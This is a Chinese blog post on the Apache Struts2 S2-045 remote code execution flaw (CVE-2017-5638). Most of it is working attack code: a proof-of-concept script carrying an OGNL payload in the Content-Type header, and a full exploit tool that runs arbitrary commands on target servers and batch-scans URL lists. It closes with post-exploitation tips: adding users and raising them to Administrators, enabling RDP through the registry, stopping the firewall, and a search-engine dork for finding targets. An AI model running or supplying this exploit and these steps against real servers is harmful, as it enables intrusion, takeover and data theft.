美文网首页
Apache Struts2 曝任意代码执行漏洞 S2-045

Apache Struts2 曝任意代码执行漏洞 S2-045

作者: Bugl0v3r | 来源:发表于2017-03-08 23:42 被阅读694次

    一、 漏洞简介

    Apache Struts是美国阿帕奇(Apache)软件基金会负责维护的一个开源项目,是一套用于创建企业级Java Web 应用的开源MVC框架,主要提供两个版本框架产品: Struts 1和Struts 2。
    ApacheStruts 2.3.5 – 2.3.31版本及2.5 – 2.5.10版本存在远程代码执行漏洞(CNNVD-201703-152 ,CVE-2017-5638)。该漏洞是由于上传功能的异常处理函数没有正确处理用户输入的错误信息。导致远程攻击者可通过发送恶意的数据包,利用该漏洞在受影响服务器上执行任意命令。

    二、 漏洞危害

    攻击者可通过发送恶意构造的HTTP数据包利用该漏洞,在受影响服务器上执行系统命令,进一步可完全控制该服务器,造成拒绝服务、数据泄露、网站造篡改等影响。由于该漏洞利用无需任何前置条件(如开启dmi ,debug等功能)以及启用任何插件,因此漏洞危害较为严重。

    三、大牛的代码

    漏洞poc

    import requests
    import sys
     
    def poc(url):
        payload = "%{(#test='multipart/form-data').(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_memberAccess=#dm):((#container=#context['com.opensymphony.xwork2.ActionContext.container']).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.getExcludedPackageNames().clear()). \    (#ognlUtil.getExcludedClasses().clear()).(#context.setMemberAccess(#dm)))).(#ros=(@org.apache.struts2.ServletActionContext@getResponse().getOutputStream())).(#ros.println(102*102*102*99)).(#ros.flush())}"
        headers = {}
        headers["Content-Type"] = payload
        r = requests.get(url, headers=headers)
        if "105059592" in r.content:
            return True
        return False
    
    if __name__ == '__main__':
        if len(sys.argv) == 1:
            print "python s2-045.py target"
            sys.exit()
        if poc(sys.argv[1]):
            print "vulnerable"
        else:
            print "not vulnerable"
    

    利用exp

    #! /usr/bin/env python3
    # -*- coding: utf-8 -*-
    # Author:Bingo [Finding a job]
    
    import logging
    import requests
    import sys
    import queue
    import os
    from optparse import OptionParser
    
    logging.basicConfig(level=logging.INFO)
    
    payloadPrefix="hah-multipart/form-data %{(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_memberAccess=#dm):((#container=#context['com.opensymphony.xwork2.ActionContext.container']).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()).(#context.setMemberAccess(#dm)))).(#cmd='"
    
    payloadSuffix="').(#iswin=(@java.lang.System@getProperty('os.name').toLowerCase().contains('win'))).(#cmds=(#iswin?{'cmd.exe','/c',#cmd}:{'/bin/bash','-c',#cmd})).(#p=new java.lang.ProcessBuilder(#cmds)).(#p.redirectErrorStream(true)).(#process=#p.start()).(#ros=(@org.apache.struts2.ServletActionContext@getResponse().getOutputStream())).(@org.apache.commons.io.IOUtils@copy(#process.getInputStream(),#ros)).(#ros.flush())}"
    
    def poc(url):
        headers ={  "User-Agent":"Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/42.0.2311.90 Safari/537.36",
                    "Connection":"close",
                    "Content-Type":"hah-multipart/form-data %{(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_memberAccess=#dm):((#container=#context['com.opensymphony.xwork2.ActionContext.container']).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()).(#context.setMemberAccess(#dm)))).(#cmdLinux='echo \\'******[ Linux ]******PocFlagString-3268e6d1cdc1c4b2c9c480907a3f1711-gnirtSgalFcoP\\' && uname -a && whoami').(#cmdWin='echo \\'******[ Windows ]******PocFlagString-3268e6d1cdc1c4b2c9c480907a3f1711-gnirtSgalFcoP\\' && whoami').(#iswin=(@java.lang.System@getProperty('os.name').toLowerCase().contains('win'))).(#cmds=(#iswin?{'cmd.exe','/c',#cmdWin}:{'/bin/bash','-c',#cmdLinux})).(#p=new java.lang.ProcessBuilder(#cmds)).(#p.redirectErrorStream(true)).(#process=#p.start()).(#ros=(@org.apache.struts2.ServletActionContext@getResponse().getOutputStream())).(@org.apache.commons.io.IOUtils@copy(#process.getInputStream(),#ros)).(#ros.flush())}"     
                }
        result = requests.post(url, headers=headers)
        return(result.text)
    
    def exp(url,cmd):
        global payloadPrefix
        global payloadSuffix
    
        #poc(url)
        #print(" - - -"*8)
        headers ={  "User-Agent":"Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/42.0.2311.90 Safari/537.36",
                    "Connection":"close",
                    "Content-Type":str(payloadPrefix)+str(cmd)+str(payloadSuffix)
                }
    
        result = requests.post(url, headers=headers)
        return(result.text)
    
    #主函数
    def main():
        parser=OptionParser()
        parser.add_option("-c", dest="cmd", help="Command string | Default: POC()")
        parser.add_option("-u", dest="url", help="Target URL (e.g. \"http://www.site.com/index.action\")")
        parser.add_option("-U", dest="urllist", help="[Just POC mode]Target URL List(e.g. \"target_url_list.txt\")")
    
        options, args = parser.parse_args()
    
        print("-"*80)
        if options.url and options.urllist:
            print("Stupid!!! -->  -u OR -U ")
            return
        elif options.urllist:
            # 读取list,多线程处理。记录时间、命令、条目、结果到文件。
            fr=open(options.urllist,"r")
            raw_urls=fr.readlines()
            fr.close()
            urls = queue.Queue()
            for url in raw_urls:
                url = url.strip()
                urls.put(url)
            # 先使用队列,便于后续加多线程。
            (basename,ext)=os.path.splitext(options.urllist)
            fw=open("%s%s%s"%(basename,".ok",ext),"w")
            fw.truncate()
            id=1
            while not urls.empty():
                url=urls.get()
                print("< %d >\t%s"%(id,url),end="")
                try:
                    result=poc(url)
                    if result.find("PocFlagString-3268e6d1cdc1c4b2c9c480907a3f1711-gnirtSgalFcoP")>=0:
                        print("\t?")
                        print(result.split("\r\n\r\n")[0])
                        fw.writelines("- "*30+"\n")
                        fw.writelines(url+"\n")
                        fw.writelines(result.split("\r\n\r\n")[0]+"\n")
                    else:
                        print("\t?")
                except Exception as e:
                    print("\t\t\t??????????????????????????")
                    print(e)
                print("- - "*10)
                id+=1
            fw.close()
        else:
            if options.url is None:
                print("Uage: xxx.py [-u URL | -U urlListFile] [-c CMD]")
                return
            if options.cmd is None:
                #print(poc(options.url))
                print(poc(options.url).split("\r\n\r\n")[0])
            else:
                print(exp(options.url,options.cmd))
    
        print("-"*80)
        return 0
    
    if __name__ == '__main__':
        main()
    
    

    渗透心得

    windows命令真的重要

    • 查看端口 netstat -an
    • 增删用户 net user username password /add(/del)
    • 用户提权 net localgroup Administrators username
    • RDP服务(3389) REG ADD HKLM\SYSTEM\CurrentControlSet\Control\Terminal" "Server /v fDenyTSConnections /t REG_DWORD /d 00000000 /f
    • 关闭防火墙(Intemet连接共享和防火墙服务) net stop(start) sharedaccess
    • kali远程桌面 rdesktop -a 32 -u username -p password ip_addr:3389

    google大法 <inurl:.action>

    _ 不要干坏事哦(-。-;)

    相关文章

      网友评论

          本文标题:Apache Struts2 曝任意代码执行漏洞 S2-045

          本文链接:https://www.haomeiwen.com/subject/xbbigttx.html